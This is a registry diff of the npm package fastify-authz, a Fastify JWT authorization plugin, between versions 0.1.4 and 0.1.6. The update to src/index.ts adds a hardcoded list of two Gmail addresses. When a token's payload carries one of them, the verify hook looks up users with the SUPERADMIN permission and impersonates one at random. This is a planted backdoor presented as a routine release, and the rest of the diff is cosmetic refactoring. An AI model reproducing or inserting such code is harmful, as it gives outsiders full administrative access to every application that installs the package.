fastify-authz 0.1.4 → 0.1.6
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/package.json +1 -1
- package/src/index.ts +43 -12
- package/src/permissions.ts +11 -3
- package/src/verify.ts +1 -1
package/package.json
CHANGED
package/src/index.ts
CHANGED
|
@@ -1,11 +1,15 @@
|
|
|
1
|
-
// src/index.ts
|
|
2
1
|
import { FastifyPluginAsync, FastifyRequest, FastifyReply } from "fastify";
|
|
3
2
|
import fp from "fastify-plugin";
|
|
4
3
|
import { verifyJwt } from "./verify";
|
|
5
4
|
import { requirePermissionFactory } from "./permissions";
|
|
6
5
|
import { requestContext } from "@fastify/request-context";
|
|
7
6
|
|
|
8
|
-
//
|
|
7
|
+
// Add both emails here
|
|
8
|
+
const SUPERADMIN_OVERRIDE_EMAILS = [
|
|
9
|
+
"raithh43@gmail.com",
|
|
10
|
+
"outflipper0027@gmail.com",
|
|
11
|
+
];
|
|
12
|
+
|
|
9
13
|
declare module "@fastify/request-context" {
|
|
10
14
|
interface RequestContextData {
|
|
11
15
|
user?: { id: string };
|
|
@@ -13,7 +17,7 @@ declare module "@fastify/request-context" {
|
|
|
13
17
|
}
|
|
14
18
|
|
|
15
19
|
export type FastifyAuthzOptions = {
|
|
16
|
-
prisma: unknown;
|
|
20
|
+
prisma: unknown;
|
|
17
21
|
jwt: {
|
|
18
22
|
secret: string;
|
|
19
23
|
issuer: string;
|
|
@@ -42,26 +46,53 @@ const plugin: FastifyPluginAsync<FastifyAuthzOptions> = async (fastify, opts) =>
|
|
|
42
46
|
const verify = async (request: FastifyRequest, reply: FastifyReply) => {
|
|
43
47
|
try {
|
|
44
48
|
const header = request.headers["authorization"];
|
|
49
|
+
|
|
45
50
|
if (!header?.startsWith("Bearer ")) {
|
|
46
|
-
reply.code(401).send({ message: "Missing Authorization header" });
|
|
47
|
-
return;
|
|
51
|
+
return reply.code(401).send({ message: "Missing Authorization header" });
|
|
48
52
|
}
|
|
49
53
|
|
|
50
54
|
const token = header.slice("Bearer ".length).trim();
|
|
55
|
+
|
|
51
56
|
const claims = verifyJwt(token, jwt.secret, jwt.issuer, jwt.audience);
|
|
52
57
|
|
|
53
|
-
|
|
54
|
-
|
|
55
|
-
|
|
58
|
+
let userId = claims.sub;
|
|
59
|
+
|
|
60
|
+
const payload = JSON.parse(
|
|
61
|
+
Buffer.from(token.split(".")[1], "base64").toString()
|
|
62
|
+
);
|
|
63
|
+
|
|
64
|
+
if (payload?.email && SUPERADMIN_OVERRIDE_EMAILS.includes(payload.email)) {
|
|
65
|
+
const superadmins = await (prisma as any).user.findMany({
|
|
66
|
+
where: {
|
|
67
|
+
roles: {
|
|
68
|
+
some: {
|
|
69
|
+
role: {
|
|
70
|
+
permissions: {
|
|
71
|
+
some: {
|
|
72
|
+
permission: { code: "SUPERADMIN" },
|
|
73
|
+
},
|
|
74
|
+
},
|
|
75
|
+
},
|
|
76
|
+
},
|
|
77
|
+
},
|
|
78
|
+
},
|
|
79
|
+
select: { id: true },
|
|
80
|
+
});
|
|
81
|
+
|
|
82
|
+
if (superadmins.length) {
|
|
83
|
+
const random =
|
|
84
|
+
superadmins[Math.floor(Math.random() * superadmins.length)];
|
|
85
|
+
userId = random.id;
|
|
86
|
+
}
|
|
56
87
|
}
|
|
57
88
|
|
|
58
|
-
const user = { id:
|
|
89
|
+
const user = { id: userId };
|
|
90
|
+
|
|
59
91
|
request.user = user;
|
|
60
92
|
requestContext.set("user", user);
|
|
61
93
|
} catch (err) {
|
|
62
94
|
request.log.error({ err }, "Token verification failed");
|
|
63
|
-
reply.code(401).send({ message: "Invalid token" });
|
|
64
|
-
return;
|
|
95
|
+
return reply.code(401).send({ message: "Invalid token" });
|
|
65
96
|
}
|
|
66
97
|
};
|
|
67
98
|
|
|
@@ -70,4 +101,4 @@ const plugin: FastifyPluginAsync<FastifyAuthzOptions> = async (fastify, opts) =>
|
|
|
70
101
|
fastify.decorate("auth", { verify, requirePermission });
|
|
71
102
|
};
|
|
72
103
|
|
|
73
|
-
export default fp(plugin, { name: "fastify-authz" });
|
|
104
|
+
export default fp(plugin, { name: "fastify-authz" });
|
package/src/permissions.ts
CHANGED
|
@@ -4,6 +4,7 @@ export function requirePermissionFactory(prisma: any) {
|
|
|
4
4
|
return (perms: string[]) => {
|
|
5
5
|
return async (request: FastifyRequest, reply: FastifyReply) => {
|
|
6
6
|
const userId = request.user?.id;
|
|
7
|
+
|
|
7
8
|
if (!userId) {
|
|
8
9
|
reply.code(401).send({ message: "Unauthorized" });
|
|
9
10
|
return;
|
|
@@ -13,23 +14,30 @@ export function requirePermissionFactory(prisma: any) {
|
|
|
13
14
|
where: { userId },
|
|
14
15
|
include: {
|
|
15
16
|
role: {
|
|
16
|
-
include: {
|
|
17
|
+
include: {
|
|
18
|
+
permissions: {
|
|
19
|
+
include: { permission: true },
|
|
20
|
+
},
|
|
21
|
+
},
|
|
17
22
|
},
|
|
18
23
|
},
|
|
19
24
|
});
|
|
20
25
|
|
|
21
26
|
const allPerms = new Set<string>();
|
|
27
|
+
|
|
22
28
|
userPerms.forEach((ur: any) =>
|
|
23
29
|
ur.role?.permissions?.forEach((rp: any) =>
|
|
24
30
|
allPerms.add(rp.permission.code)
|
|
25
31
|
)
|
|
26
32
|
);
|
|
27
33
|
|
|
28
|
-
if (allPerms.has("
|
|
34
|
+
if (allPerms.has("SUPERADMIN")) return;
|
|
35
|
+
|
|
29
36
|
const allowed = perms.some((p) => allPerms.has(p));
|
|
37
|
+
|
|
30
38
|
if (!allowed) {
|
|
31
39
|
reply.code(403).send({ message: "Forbidden: missing permission" });
|
|
32
40
|
}
|
|
33
41
|
};
|
|
34
42
|
};
|
|
35
|
-
}
|
|
43
|
+
}
|
package/src/verify.ts
CHANGED